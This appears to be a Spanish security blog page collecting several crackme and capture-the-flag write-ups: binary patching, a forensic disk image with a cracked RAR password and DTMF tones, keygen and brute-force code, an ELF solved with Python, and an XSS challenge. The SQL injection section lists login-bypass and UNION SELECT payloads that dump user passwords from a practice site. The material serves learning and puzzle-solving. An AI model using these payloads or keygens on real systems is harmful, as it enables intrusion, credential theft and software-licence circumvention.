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Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Intro

This crackme is for the crack challenge 6 of canyouhack.it.

In this crackme the goal is to turn on all the lights. Note that a light off to the next, so if we interrupt this, we win.

Tools

Exeinfo (For crackme info)

Delphi Decompiler (For decompile)

 OllyDbg (For debug)

Decompiling

With Delphi Decompiler we can found easy the buttons and his offsets.
Go to the offset 401A64 in OllyDbg and analyze the code.
We view two jumps, one turn ON the light and the other Turn OFF the next light. Patching the call from offset 401A8B we get the serial.

Links


Intro We require your services once again. An employee from our company had recently been identified as a known criminal
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Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si
En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del

Intro

We require your services once again. An employee from our company had recently been identified as a known criminal named Brett Thwaits. He is considered to have stolen missile launch codes from the US navy which unfortunately were handed to us for a brief period of time. As of now, we are accussed of the theft and unless we do something about it, we’re gonna end in some serious trouble. Before Brett left, he formatted the thumbdrive which used to store the launch codes. Fortunately, our system had made a backup image of the drive. See if you can recover the fourth launch code. Good luck!

Requerimos una vez más sus servicios. Un empleado de nuestra empresa había sido identificado recientemente como el conocido criminal Brett Thwaites. Se considera que ha robado los códigos de lanzamiento de misiles de la Armada de Estados Unidos, que por desgracia fueron entregados a nosotros por un breve período de tiempo. A partir de ahora, se nos acusa del robo y a menos que hagamos algo al respecto, vamos a tener serios problemas. Antes de que Brett se fuera formateó el dispositivo que se usa para almacenar los códigos de lanzamiento. Afortunadamente, nuestro sistema había hecho una copia de seguridad de la unidad. Mira a ver si puedes recuperar los cuatro códigos de lanzamiento. ¡Buena suerte!

Análisis del archivo

  • Fichero: forensics1
  • Extensión: img
  • Tamaño: 25 MB (26.214.400 bytes)
  • Hash MD5: 56e4cd5b8f076ba8b7c020c7339caa2b

Echamos un vistazo al archivo con un editor hexadecimal y vemos encabezados de tipos de archivos conocidos, por lo que la unidad no está encriptada. Al no estar encriptada la imagen, usaremos una herramienta de creación propia, Ancillary. En esta ocasión usaremos la versión 2 alpha, que actualmente está en desarrollo, pero podéis usar tranquilamente la versión 1.x.

Ancillary nos muestra lo que ha encontrado en el archivo por lo que pasamos a analizarlo.

2016-03-06_11-20-52

Como siempre os digo en este tipo de retos, es difícil discriminar unos ficheros en favor de otros, ya que no sabemos si lo que buscamos va a estar en una imagen, documento u otro tipo de fichero codificado o no.

2016-03-06_11-33-55

Tras analizar todos los ficheros, rápidamente suscitan nuestro interés los ficheros RAR, y más cuando el fichero que contienen es un fichero de audio y su nombre es tan sugerente como «conversation_dtmf.wav«. Como podéis apreciar en la imagen, el fichero RAR está protegido con clave por lo que necesitamos esquivar ese obstaculo.

2016-03-06_11-35-32

Recuperando una clave de un archivo RAR

En este caso el software que voy a utilizar es cRARk, pero podéis utilizar cualquier otro. Como se muestra en la imagen de abajo, mi procesador es más bien modesto pero la clave no tiene más que tres dígitos por lo que no supone ninguna dificultad recuperarla.

2016-03-06_11-42-40

DTMF (Dual-Tone Multi-Frequency)

Una vez recuperado el archivo WAV, al reproducirlo escuchamos 16 tonos telefónicos que inmediatamente me recuerdan las aventuras del mítico «Capitán Crunch«. Os animo a leer la historia de John Draper y su famosa «Blue Box» ya que no tiene desperdicio y forma parte de la historia del Phreaking.

Por si no conocías la historia, el propio nombre del fichero wav nos da la pista clave de qué buscar al contener las siglas «DTMF«.

Al ser pulsada en el teléfono la tecla correspondiente al dígito que quiere marcar, se envían dos tonos, de distinta frecuencia: uno por columna y otro por fila en la que esté la tecla, que la central decodifica a través de filtros especiales, detectando qué dígito se marcó.

No tenemos más que buscar un decodificador de tonos para obtener los preciados códigos de lanzamiento.

2016-03-06_11-44-24

Links

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Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Aviso: Este crackme forma parte de una serie de pruebas de Yoire.com que todavía está en activo. Lo ético si continuas leyendo este manual es que no utilices la respuesta para completar la prueba sin esfuerzo. 😉

Analizando

Abrimos el crackme con Ollydbg y vamos a las referenced strings.

Pinchamos sobre cualquiera.

 

Vemos un «Call» donde seguramente se generará un SUM en función del serial metido ya que después del Call vemos una comprobación contra «B79E763E» lo que nos da una pista de que vamos a tener que utilizar fuerza bruta para llegar a ese valor. Vamos a explorar el Call.

Lo que resalto con la flecha son una par de Calls que podemos NOPear ya que lo único que hacen es ralentizar la generación del SUM.
A continuación vamos a analizar el algoritmo de generación del SUM.
MOV EDI,5EED                   - EDI = 5EED
JMP SHORT 01_crack.004010D7
/MOV EAX,EDI                   <----Bucle
|SHL EAX,5                     - 5EED * 32 = BDDA0
|MOVZX EDX,BYTE PTR DS:[EBX]   - Coge el dígito
|XOR EAX,EDX                   - BDDA0 XOR digito
|MOV EDI,EAX
|XOR EDI,1D0B1EED              - XOR 1D0B1EED
|INC EBX
|..
|MOV ESI,EAX
CMP BYTE PTR DS:[EBX],0
JNZ SHORT 01_crack.004010B4   - Bucle ---->

Para un serial de tres dígitos la secuencia sería esta (valores en hexadecimal):

1º Digit —> BDDA0 XOR 1D0B1EED XOR 1ºDigit XOR 1D0B1EED = Temp
2º Digit —> Temp = Temp * 20 Xor 1D0B1EED XOR 2ºDigit
3º Digit —> Temp = Temp * 20 Xor 1D0B1EED XOR 3ºDigit

CMP Temp, B79E763E

Aplicando Fuerza Bruta

La creación del «BruteForcer» os la dejo a vosotros. Aquí teneis un fragmento hecho en VB.Net.

Dim temp As Long
Dim temp2 As String
Dim letter As Integer
Dim brute As String
brute = TextBox4.Text
temp = 0
temp = Asc(Mid(brute, 1, 1)) Xor 487268077 Xor 777632
temp2 = Hex(temp)
temp2 = Microsoft.VisualBasic.Right(temp2, 8)
temp = Convert.ToUInt64(temp2, 16)
For i = 2 To Len(brute)
letter = Asc(Mid(brute, i, 1))
temp = temp * 32
temp2 = Hex(temp)
temp2 = Microsoft.VisualBasic.Right(temp2, 8)
temp = Convert.ToUInt64(temp2, 16)
temp = temp Xor 487268077
temp2 = Hex(temp)
temp2 = Microsoft.VisualBasic.Right(temp2, 8)
temp = Convert.ToUInt64(temp2, 16)
temp = temp Xor letter
'
temp2 = Hex(temp)
Next

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Intro Hoy tenemos un crackme hecho en ensamblador y que cuenta con tres niveles. En el primero de todos nos
Intro Aquí tenemos un crackme clásico realizado en Visual C++. La única particularidad que tiene es que no muestra MessageBox
Este BTM va otra vez sobre IPs. Si amigos del séptimo arte, viendo un capítulo de mi querida "The Sinner"

Intro

Hoy tenemos un crackme hecho en ensamblador y que cuenta con tres niveles. En el primero de todos nos enfrentamos a una «Splash screen» o nag. El segundo en un serial Hardcodeado y el tercero un número de serie asociado a un nombre.

Nopeando la Splash Screen

splashscreen

Abrimos el crackme con Olly y vamos a las «Intermodular Calls«, enseguida vemos la función que crea las ventanas «CreateWindowExA«. Se puede ver lo que parece ser la creación de la pantalla del crackme y al final hay algo que salta a la vista y es la propiedad «WS_TOPMOST», es decir, que se mantenga delante del resto de ventanas.

intermodularcalls

Pinchamos sobre la función y vamos a parar aquí.

codesplash

Vemos la llamada a CreateWindowExA que podríamos parchear pero vamos a pensar un poco. Vemos la función GetTickCount y que carga el valor 7D0. 7D0 es 2000 en decimal, que perfectamente pueden ser milisegundos, por lo tanto el parcheo más elegante sería poner la función GetTickCount a 0. En la imagen inferior se puede ver como queda parcheado el valor 7D0.

splashtime

splashparcheada

Probamos y funciona, pasamos a lo siguiente.

Serial Hardcodeado

El mensaje de error del serial hardcodeado dice «Sorry, please try again». Lo buscamos en las string references y vamos a parar aquí.

hardcoded

Vemos un bucle de comparación que carga unos bytes de la memoria, los bytes dicen «HardCoded«, probamos y prueba superada.

hardcoded2

09-09-2014 11-12-42

El nombre y número de serie

Con el mismo método de las string references localizamos el código que nos interesa. Metemos deurus como nombre y 12345 como serial y empezamos a tracear. Lo primero que hace es una serie de operaciones con nuestro nombre a las que podemos llamar aritmética modular. Aunque en la imagen viene bastante detallado se vé mejor con un ejemplo.

buclenombre

Ejemplo para Nombre: deurus

d   e   u   r   u   s
64  65  75  72  75  73 -hex
100 101 117 114 117 115 -dec

1ºByte = ((Nombre[0] % 10)^0)+2
2ºByte = ((Nombre[1] % 10)^1)+2
3ºByte = ((Nombre[2] % 10)^2)+2
4ºByte = ((Nombre[3] % 10)^3)+2
5ºByte = ((Nombre[4] % 10)^4)+2
6ºByte = ((Nombre[5] % 10)^5)+2

1ºByte = ((100 Mod 10) Xor 0) + 2
2ºByte = ((101 Mod 10) Xor 1) + 2
3ºByte = ((117 Mod 10) Xor 2) + 2
4ºByte = ((114 Mod 10) Xor 3) + 2
5ºByte = ((117 Mod 10) Xor 4) + 2
6ºByte = ((115 Mod 10) Xor 5) + 2

Si el byte > 10 --> Byte = byte - 10

1ºByte = 2
2ºByte = 2
3ºByte = 7
4ºByte = 9
5ºByte = 5
6ºByte = 2

 Lo que nos deja que los Bytes mágicos para deurus son: 227952.

Debido a la naturaleza de la operación IDIV y el bucle en general, llegamos a la conclusión de que para cada letra es un solo byte mágico y que este está comprendido entre 0 y 9.

A continuación realiza las siguientes operaciones con el serial introducido.

bucleserial

Ejemplo para serial: 12345

1  2  3  4  5
31 32 33 34 35 -hex
49 50 51 52 53 -dec

49 mod 10 = 9
50 mod 10 = 0
51 mod 10 = 1
52 mod 10 = 2
53 mod 10 = 3

Los bytes mágicos del serial son: 90123, que difieren bastante de los conseguidos con el nombre.

A continuación compara byte a byte 227952 con 90123.

buclecompara

En resumen, para cada nombre genera un código por cada letra y luego la comprobación del serial la realiza usando el módulo 10 del dígito ascii. Lo primero que se me ocurre es que necesitamos cotejar algún dígito del 0 al 9 para tener cubiertas todas las posibilidades. Realizamos manualmente mod 10 a los números del 0 al 9 y obtenemos sus valores.

(0) 48 mod 10 = 8
(1) 49 mod 10 = 9
(2) 50 mod 10 = 0
(3) 51 mod 10 = 1
(4) 52 mod 10 = 2
(5) 53 mod 10 = 3
(6) 54 mod 10 = 4
(7) 55 mod 10 = 5
(8) 56 mod 10 = 6
(9) 57 mod 10 = 7

Con esto ya podríamos generar un serial válido.

0123456789 - Nuestro alfabeto numérico

8901234567 - Su valor Mod 10

Por lo que para deurus un serial válido sería: 449174. Recordemos que los bytes mágicos para deurus eran «227952», solo hay que sustituir.

Para realizar un KeyGen más interesante, he sacado los valores de un alfabeto mayor y le he añadido una rutina aleatoria para que genere seriales diferentes para un mismo nombre.

keygen

        'abcdefghijklmnñppqrstuvwxyz0123456789ABCDEFGHIJKLMNÑOPQRSTUVWXYZ - Alfabeto
        '7890123456778901234567789018901234567567890123455678901234556880 - Valor
        Dim suma As Integer = 0
        'Para hacer el serial más divertido
        Dim brute() As String = {"2", "3", "4", "5", "6", "7", "8", "9", "0", "1"}
        Dim brute2() As String = {"d", "e", "f", "g", "h", "i", "j", "a", "b", "c"}
        Dim brute3() As String = {"P", "Q", "R", "S", "T", "U", "j", "a", "D", "E"}
        Dim alea As New Random()
        txtserial.Text = ""
        'Evito nombres mayores de 11 para evitar el BUG comentado en le manual
        If Len(txtnombre.Text) > 0 And Len(txtnombre.Text) < 12 Then
            For i = 1 To Len(txtnombre.Text)
                Dim aleatorio As Integer = alea.Next(0, 9)
                suma = (((Asc(Mid(txtnombre.Text, i, 1))) Mod 10) Xor i - 1) + 2
                If suma > 9 Then
                    suma = suma - 10
                End If
                If (aleatorio) >= 0 And (aleatorio) <= 4 Then
                    txtserial.Text = txtserial.Text & brute(suma)
                ElseIf (aleatorio) > 4 And (aleatorio) <= 7 Then
                    txtserial.Text = txtserial.Text & brute2(suma)
                ElseIf (aleatorio) > 7 And (aleatorio) <= 10 Then
                    txtserial.Text = txtserial.Text & brute3(suma)
                End If
                suma = 0
            Next
        Else
            txtserial.Text = "El Nombre..."
        End If

Notas finales

Hay un pequeño bug en el almacenaje del nombre y serial y en el guardado de bytes mágicos del serial. Si nos fijamos en los bucles del nombre y el serial, vemos que los bytes mágicos del nombre los guarda a partir de la dirección de memoria 403258 y los bytes mágicos del serial a partir de 40324D. En la siguiente imagen podemos ver seleccionados los 11 primeros bytes donde se almacenan los bytes mágicos del serial. Vemos que hay seleccionados 11 bytes y que el siguiente sería ya 403258, precisamente donde están los bytes mágicos del nombre. Como puedes imaginar si escribes un serial >11 dígitos se solapan bytes y es una chapuza, de modo que el keygen lo he limitado a nombres de 11 dígitos.

dumpespacioserialhash

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Continuamos con los BTM awards. Esta vez analizaremos brevemente una escena de la película del casi siempre excelente James Cameron, Mentiras Arriesgadas. En esta ocasión vamos a analizar una situación que se da mucho en el cine de Hollywood, esto es, el Plug and Play mágico. Cuando vemos películas de espías, es habitual encontrarnos con situaciones en las que el protagonista conecta un «algo» en el ordenador al que quiere acceder y ¡chas!, como por arte de magia sin tocar ninguna tecla se copian o se borran unos archivos, le da acceso remoto a algún compañero etc.

BTM

Este film no iba a ser menos y es que cuando Harry Tasker (Arnold Schwarzenegger) con sus inigualables dotes para el espionaje, entra en la mansión del objetivo en cuestión, conecta un módem, lo enciende y sin teclear un solo comando le da a su compañero Faisil (Grant Heslov) que se encuentra en una furgoneta a unos kilómetros,  acceso a la máquina, nos quedamos perplejos.

vlcsnap-2015-11-25-11h24m51s404

Esta situación es posible en la vida real, lo que la hace difícil de creer es que Harry no teclee ni un solo comando al conectar el módem, independientemente del Sistema Operativo que corra la máquina. Si nos situamos un poco, estamos hablando del año 1995, con una máquina corriendo Windows 3.1 y estamos conectando un módem a un puerto RS-232. En aquella época, por avanzada que fuera la tecnología espía, es difícil de creer que las cosas funcionen solas. Otra cosa a destacar es que a no ser que Faisil estuviera conectados a un poste de teléfono, la conexión tendría que ser inalámbrica, casi una quimera hace 20 años. A continuación os muestro la secuencia.

Como se puede observar en el vídeo, incluso parece que el equipo de Faisil, que también corre Windows 3.1, accede al equipo en modo escritorio remoto, tecnología que no existía en aquella época. Para que la secuencia tuviera un mínimo de credibilidad, Harry al conectar el módem y encender el equipo, debiera de haber introducido un par de comandos como mínimo para asignarle un puerto COM al módem y así iniciar la comunicación con Faisil. Ni que decir tiene que Faisil hubiera tenido que hacer todas las transmisiones mediante línea de comandos.

Aunque la película es entretenida y me gustó mucho cuando la vi allá por el año 1998, no nos queda más remedio que ponerle nuestro sello BTM de NO credibilidad.

sellazoment

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Estamos ante un ELF un poco más interesante que los vistos anteriormente. Básicamente porque es divertido y fácil encontrar la solución en el decompilado y quizá por evocar recuerdos de tiempos pretéritos.

ELF Decompilado

/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

__int64 (**init_proc())(void);
__int64 sub_400650(); // weak
// int printf(const char *format, ...);
// int puts(const char *s);
// void __noreturn exit(int status);
// size_t strlen(const char *s);
// __int64 __fastcall MD5(_QWORD, _QWORD, _QWORD); weak
// int sprintf(char *s, const char *format, ...);
// __int64 ptrace(enum __ptrace_request request, ...);
// __int64 strtol(const char *nptr, char **endptr, int base);
// __int64 __isoc99_scanf(const char *, ...); weak
// int memcmp(const void *s1, const void *s2, size_t n);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
void *sub_400730();
__int64 sub_400760();
void *sub_4007A0();
__int64 sub_4007D0();
void fini(void); // idb
void term_proc();
// int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// __int64 _gmon_start__(void); weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN main;
_UNKNOWN init;
__int64 (__fastcall *funcs_400E29)() = &sub_4007D0; // weak
__int64 (__fastcall *off_601DF8)() = &sub_4007A0; // weak
__int64 (*qword_602010)(void) = NULL; // weak
char *off_602080 = "FLAG-%s\n"; // idb
char a7yq2hryrn5yJga[16] = "7Yq2hrYRn5Y`jga"; // weak
const char aO6uH[] = "(O6U,H\""; // idb
_UNKNOWN unk_6020B8; // weak
_UNKNOWN unk_6020C8; // weak
char byte_6020E0; // weak
char s1; // idb
char byte_602110[]; // weak
char byte_602120[33]; // weak
char byte_602141[7]; // idb
__int64 qword_602148; // weak
__int64 qword_602150; // weak
__int64 qword_602158; // weak
__int64 qword_602160; // weak
__int64 qword_602178; // weak


//----- (0000000000400630) ----------------------------------------------------
__int64 (**init_proc())(void)
{
  __int64 (**result)(void); // rax

  result = &_gmon_start__;
  if ( &_gmon_start__ )
    return (__int64 (**)(void))_gmon_start__();
  return result;
}
// 6021D8: using guessed type __int64 _gmon_start__(void);

//----- (0000000000400650) ----------------------------------------------------
__int64 sub_400650()
{
  return qword_602010();
}
// 400650: using guessed type __int64 sub_400650();
// 602010: using guessed type __int64 (*qword_602010)(void);

//----- (0000000000400700) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main((int (__fastcall *)(int, char **, char **))main, v4, &retaddr, (void (*)(void))init, fini, a3, &v5);
  __halt();
}
// 400706: positive sp value 8 has been found
// 40070D: variable 'v3' is possibly undefined

//----- (0000000000400730) ----------------------------------------------------
void *sub_400730()
{
  return &unk_6020C8;
}

//----- (0000000000400760) ----------------------------------------------------
__int64 sub_400760()
{
  return 0LL;
}

//----- (00000000004007A0) ----------------------------------------------------
void *sub_4007A0()
{
  void *result; // rax

  if ( !byte_6020E0 )
  {
    result = sub_400730();
    byte_6020E0 = 1;
  }
  return result;
}
// 6020E0: using guessed type char byte_6020E0;

//----- (00000000004007D0) ----------------------------------------------------
__int64 sub_4007D0()
{
  return sub_400760();
}

//----- (00000000004007D7) ----------------------------------------------------
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  size_t v3; // rax
  size_t v4; // rax
  int i; // [rsp+1Ch] [rbp-24h]
  int n; // [rsp+20h] [rbp-20h]
  int m; // [rsp+24h] [rbp-1Ch]
  int k; // [rsp+28h] [rbp-18h]
  int j; // [rsp+2Ch] [rbp-14h]

  if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) == -1 )
    goto LABEL_2;
  if ( a1 > 4 )
  {
    qword_602148 = strtol(a2[1], 0LL, 10);
    if ( qword_602148 )
    {
      qword_602150 = strtol(a2[2], 0LL, 10);
      if ( qword_602150 )
      {
        qword_602158 = strtol(a2[3], 0LL, 10);
        if ( qword_602158 )
        {
          qword_602160 = strtol(a2[4], 0LL, 10);
          if ( qword_602160 )
          {
            if ( -24 * qword_602148 - 18 * qword_602150 - 15 * qword_602158 - 12 * qword_602160 == -18393
              && 9 * qword_602158 + 18 * (qword_602150 + qword_602148) - 9 * qword_602160 == 4419
              && 4 * qword_602158 + 16 * qword_602148 + 12 * qword_602150 + 2 * qword_602160 == 7300
              && -6 * (qword_602150 + qword_602148) - 3 * qword_602158 - 11 * qword_602160 == -8613 )
            {
              qword_602178 = qword_602158 + qword_602150 * qword_602148 - qword_602160;
              sprintf(byte_602141, "%06x", qword_602178);
              v4 = strlen(byte_602141);
              MD5(byte_602141, v4, byte_602110);
              for ( i = 0; i <= 15; ++i )
                sprintf(&byte_602120[2 * i], "%02x", (unsigned __int8)byte_602110[i]);
              printf(off_602080, byte_602120);
              exit(0);
            }
          }
        }
      }
    }
LABEL_2:
    printf("password : ");
    __isoc99_scanf("%s", &s1);
    if ( strlen(&s1) > 0x10 )
    {
      puts("the password must be less than 16 character");
      exit(1);
    }
    for ( j = 0; j < strlen(&s1); ++j )
      *(&s1 + j) ^= 6u;
    if ( !strcmp(&s1, a7yq2hryrn5yJga) )
    {
      v3 = strlen(&s1);
      MD5(&s1, v3, byte_602110);
      for ( k = 0; k <= 15; ++k )
        sprintf(&byte_602120[2 * k], "%02x", (unsigned __int8)byte_602110[k]);
      printf(off_602080, byte_602120);
      exit(0);
    }
    puts("bad password!");
    exit(0);
  }
  printf("password : ");
  __isoc99_scanf("%s", &s1);
  if ( strlen(&s1) > 0x10 )
  {
    puts("the password must be less than 16 character");
    exit(1);
  }
  for ( m = 0; m < strlen(&s1); ++m )
  {
    *(&s1 + m) ^= 2u;
    ++*(&s1 + m);
    *(&s1 + m) = ~*(&s1 + m);
  }
  if ( !memcmp(&s1, &unk_6020B8, 9uLL) )
  {
    for ( n = 0; n < strlen(aO6uH); n += 2 )
    {
      aO6uH[n] ^= 0x45u;
      aO6uH[n + 1] ^= 0x26u;
    }
    puts(aO6uH);
  }
  else
  {
    puts("bad password!");
  }
  return 0LL;
}
// 4006A0: using guessed type __int64 __fastcall MD5(_QWORD, _QWORD, _QWORD);
// 4006E0: using guessed type __int64 __isoc99_scanf(const char *, ...);
// 602148: using guessed type __int64 qword_602148;
// 602150: using guessed type __int64 qword_602150;
// 602158: using guessed type __int64 qword_602158;
// 602160: using guessed type __int64 qword_602160;
// 602178: using guessed type __int64 qword_602178;

//----- (0000000000400DE0) ----------------------------------------------------
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v3; // rbp
  __int64 i; // rbx

  v3 = &off_601DF8 - &funcs_400E29;
  init_proc();
  if ( v3 )
  {
    for ( i = 0LL; i != v3; ++i )
      (*(&funcs_400E29 + i))();
  }
}
// 601DF0: using guessed type __int64 (__fastcall *funcs_400E29)();
// 601DF8: using guessed type __int64 (__fastcall *off_601DF8)();

//----- (0000000000400E54) ----------------------------------------------------
void term_proc()
{
  ;
}

// nfuncs=33 queued=10 decompiled=10 lumina nreq=0 worse=0 better=0
// ALL OK, 10 function(s) have been successfully decompiled

Análisis estático

Anti-debug

Si la función ptrace retorna -1, significa que el programa está siendo depurado y redirige a LABEL_2.

if (ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) == -1) {
    goto LABEL_2;
}

Cálculos y validaciones

El programa espera al menos 5 argumentos (nombre del programa y cuatro números enteros). Si se proporcionan los cuatro números enteros, se realizan los siguientes cálculos:

if (-24 * qword_602148 - 18 * qword_602150 - 15 * qword_602158 - 12 * qword_602160 == -18393
    && 9 * qword_602158 + 18 * (qword_602150 + qword_602148) - 9 * qword_602160 == 4419
    && 4 * qword_602158 + 16 * qword_602148 + 12 * qword_602150 + 2 * qword_602160 == 7300
    && -6 * (qword_602150 + qword_602148) - 3 * qword_602158 - 11 * qword_602160 == -8613)

Esto es un sistema de ecuaciones lineales mondo y lirondo que debe ser resuelto para encontrar los valores correctos de qword_602148, qword_602150, qword_602158 y qword_602160. Una vez resuelto el sistema de ecuaciones se realiza la operación:

 qword_602178 = qword_602158 + qword_602150 * qword_602148 - qword_602160;

A continuación se pasa el resultado de la variable qword_602178 a hexadecimal y se genera su hash MD5.

Solución en Python

Lo más rápido en esta ocasión es usar Python, pero esto se puede resolver hasta con lápiz y papel 😉

from sympy import symbols, Eq, solve
import hashlib

# Definir las variables
A, B, C, D = symbols('A B C D')

# Definir las ecuaciones
eq1 = Eq(-24*A - 18*B - 15*C - 12*D, -18393)
eq2 = Eq(9*C + 18*(A + B) - 9*D, 4419)
eq3 = Eq(4*C + 16*A + 12*B + 2*D, 7300)
eq4 = Eq(-6*(A + B) - 3*C - 11*D, -8613)

# Resolver el sistema de ecuaciones
solution = solve((eq1, eq2, eq3, eq4), (A, B, C, D))

# Verificar si se encontró una solución
if solution:
    print("Solución encontrada:")
    print(solution)

    # Obtener los valores de A, B, C y D
    A_val = solution[A]
    B_val = solution[B]
    C_val = solution[C]
    D_val = solution[D]

    # Mostrar los valores encontrados
    print(f"A = {A_val}")
    print(f"B = {B_val}")
    print(f"C = {C_val}")
    print(f"D = {D_val}")

    # Calcular qword_602178
    qword_602178 = C_val + B_val * A_val - D_val
    qword_602178 = int(qword_602178)  # Convertir a entero de Python
    print(f"qword_602178 = {qword_602178}")

    # Convertir qword_602178 a una cadena en formato hexadecimal
    byte_602141 = f"{qword_602178:06x}"
    print(f"byte_602141 (hex) = {byte_602141}")

    # Calcular el MD5 de la cadena
    md5_hash = hashlib.md5(byte_602141.encode()).hexdigest()
    print(f"MD5 hash = {md5_hash}")

    # Generar la flag
    flag = f"FLAG-{md5_hash}"
    print(f"Flag = {flag}")

else:
    print("No se encontró una solución.")

Al ejecutar el script veremos algo como esto:

Solución encontrada:
{A: 227, B: 115, C: 317, D: 510}
A = 227
B = 115
C = 317
D = 510
qword_602178 = 25912
byte_602141 (hex) = 006538
MD5 hash = 21a84f2c7c7fd432edf1686215db....
Flag = FLAG-21a84f2c7c7fd432edf1686215db....

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 3: Your school is employing a web designer who is charging far too much for site design and doesn’t know anything about protecting the site. However, he’s sure that there’s no way anyone can hack into any site he’s designed, prove him wrong!
 En tu escuela están haciendo una web nueva muy rápido. El creador asegura que no le pueden hackear, demuéstrale que está equivocado.

Analizando a la víctima

Echamos un vistazo y vemos en el menú cosas interesantes. La primera de ellas es un Login que pronto descartamos ya que no parece llevar a ninguna parte. La segunda sirve para mandar enlaces al administrador y que este los publique posteriormente en la web.
Vamos a trastear un poco con la opción de mandar enlaces. En el código fuente ya vemos algo interesante y es que hay un campo oculto con el valor a 1 al mandar el enlace. Probamos a mandar un enlace sin tocar nada y nos dice que lo manda pero que lo tienen que aprobar. Vamos a probar ahora cambiando el valor del parámetro oculto a 0 con Firebug.

¡Funcionó!, el enlace ha pasado el filtro.

¿Cómo podemos aprovechar esto?, pués la forma más común es «XSS cross site scripting«. Veamos una prueba. Con el parámetro oculto otra vez en 0 mandamos el siguiente enlace y reto superado.

Links

Sinopsis

Enemigo público (Enemy of the State) es una película de acción y suspense dirigida por Tony Scott, estrenada en 1998. La historia sigue a Robert Clayton Dean (Will Smith), un abogado de Washington D.C. que se ve atrapado en una conspiración de vigilancia masiva cuando recibe, sin saberlo, una cinta de video que documenta el asesinato de un congresista a manos de un alto funcionario de la Agencia de Seguridad Nacional (NSA), interpretado por Jon Voight. La situación se complica cuando la NSA utiliza toda su tecnología de espionaje para seguir y neutralizar a Dean.

